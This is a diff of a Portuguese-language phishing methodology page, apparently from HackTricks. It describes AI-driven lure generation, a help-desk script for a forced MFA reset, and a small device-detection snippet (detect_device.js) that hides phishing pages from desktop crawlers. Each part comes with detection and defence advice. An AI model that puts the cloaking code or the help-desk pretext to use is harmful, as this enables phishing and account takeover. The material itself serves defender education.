Atacantes agora encadeiam **LLM & APIs de clonagem de voz** para iscas totalmente personalizadas e interação em tempo real.
|
||||
|
||||
| Layer | Example use by threat actor |
|
||||
|-------|-----------------------------|
|
||||
|Automation|Generate & send >100 k emails / SMS with randomised wording & tracking links.|
|
||||
|Generative AI|Produce *one-off* emails referencing public M&A, inside jokes from social media; deep-fake CEO voice in callback scam.|
|
||||
|Agentic AI|Autonomously register domains, scrape open-source intel, craft next-stage mails when a victim clicks but doesn’t submit creds.|
|
||||
|Automação|Gerar & enviar >100k e-mails / SMS com texto randomizado & links de tracking.|
|
||||
|Generative AI|Produzir e-mails *one-off* referenciando M&A públicos, piadas internas de redes sociais; voz deep-fake do CEO em golpe por chamada.|
|
||||
|Agentic AI|Registrar domínios autonomamente, raspar intel open-source, criar e-mails da próxima etapa quando uma vítima clica mas não submete credentials.|
|
||||
|
||||
**Defence:**
|
||||
• Adicione **banners dinâmicos** destacando mensagens enviadas por automação não confiável (via anomalias ARC/DKIM).
|
||||
• Implante **voice-biometric challenge phrases** para solicitações telefônicas de alto risco.
|
||||
• Simule continuamente iscas geradas por AI em programas de conscientização – templates estáticos estão obsoletos.
|
||||
• Implemente **frases-desafio biométricas de voz** para solicitações telefônicas de alto risco.
|
||||
• Simule continuamente iscas geradas por IA em programas de conscientização – modelos estáticos estão obsoletos.
|
||||
|
||||
See also – agentic browsing abuse for credential phishing:
|
||||
|
||||
@ -527,13 +527,13 @@ ai-agent-mode-phishing-abusing-hosted-agent-browsers.md
|
||||
---
|
||||
|
||||
## MFA Fatigue / Push Bombing Variant – Forced Reset
|
||||
Além do clássico push-bombing, operadores simplesmente **forçam um novo registro de MFA** durante a ligação ao help-desk, aniquilando o token existente do usuário. Qualquer prompt de login subsequente parece legítimo para a vítima.
|
||||
Além do clássico push-bombing, operadores simplesmente **forçam um novo registro de MFA** durante a chamada ao help-desk, anulando o token existente do usuário. Qualquer prompt de login subsequente parecerá legítimo para a vítima.
|
||||
```text
|
||||
[Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?”
|
||||
[Help-Desk] → AzureAD: ‘Delete existing methods’ → sends registration e-mail
|
||||
[Attacker] → Completes new TOTP enrolment on their own device
|
||||
```
|
||||
Monitore eventos do AzureAD/AWS/Okta onde **`deleteMFA` + `addMFA`** ocorrem **em questão de minutos vindos do mesmo IP**.
|
||||
Monitore eventos do AzureAD/AWS/Okta em que **`deleteMFA` + `addMFA`** ocorram **no espaço de minutos a partir do mesmo IP**.
|
||||
|
||||
|
||||
|
||||
@ -553,12 +553,40 @@ clipboard-hijacking.md
|
||||
mobile-phishing-malicious-apps.md
|
||||
{{#endref}}
|
||||
|
||||
## Referências
|
||||
### Mobile‑gated phishing to evade crawlers/sandboxes
|
||||
Os operadores cada vez mais colocam seus fluxos de phishing atrás de uma verificação simples de dispositivo para que crawlers desktop nunca alcancem as páginas finais. Um padrão comum é um pequeno script que testa se o DOM é compatível com touch e envia o resultado para um endpoint do servidor; clientes não‑móveis recebem HTTP 500 (ou uma página em branco), enquanto usuários móveis recebem o fluxo completo.
|
||||
|
||||
Minimal client snippet (typical logic):
|
||||
```html
|
||||
<script src="/static/detect_device.js"></script>
|
||||
```
|
||||
`detect_device.js` lógica (simplificada):
|
||||
```javascript
|
||||
const isMobile = ('ontouchstart' in document.documentElement);
|
||||
fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})})
|
||||
.then(()=>location.reload());
|
||||
```
|
||||
Server behaviour often observed:
|
||||
- Define um session cookie durante o primeiro carregamento.
|
||||
- Aceita `POST /detect {"is_mobile":true|false}`.
|
||||
- Retorna 500 (ou placeholder) para GETs subsequentes quando `is_mobile=false`; serve phishing apenas se `true`.
|
||||
|
||||
Hunting and detection heuristics:
|
||||
- Consulta urlscan: `filename:"detect_device.js" AND page.status:500`
|
||||
- Telemetria web: sequência de `GET /static/detect_device.js` → `POST /detect` → HTTP 500 para não‑móvel; caminhos legítimos de vítima móvel retornam 200 com HTML/JS subsequente.
|
||||
- Bloquear ou escrutinar páginas que condicionam o conteúdo exclusivamente ao `ontouchstart` ou verificações de dispositivo similares.
|
||||
|
||||
Defence tips:
|
||||
- Execute crawlers com fingerprints semelhantes a mobile e JS ativado para revelar conteúdo restrito.
|
||||
- Alertar sobre respostas 500 suspeitas após `POST /detect` em domínios recém-registrados.
|
||||
|
||||
## References
|
||||
|
||||
- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
|
||||
- [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)
|
||||
- [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
|
||||
- [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
|
||||
- [2025 Unit 42 Global Incident Response Report – Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/)
|
||||
- [Silent Smishing – mobile-gated phishing infra and heuristics (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user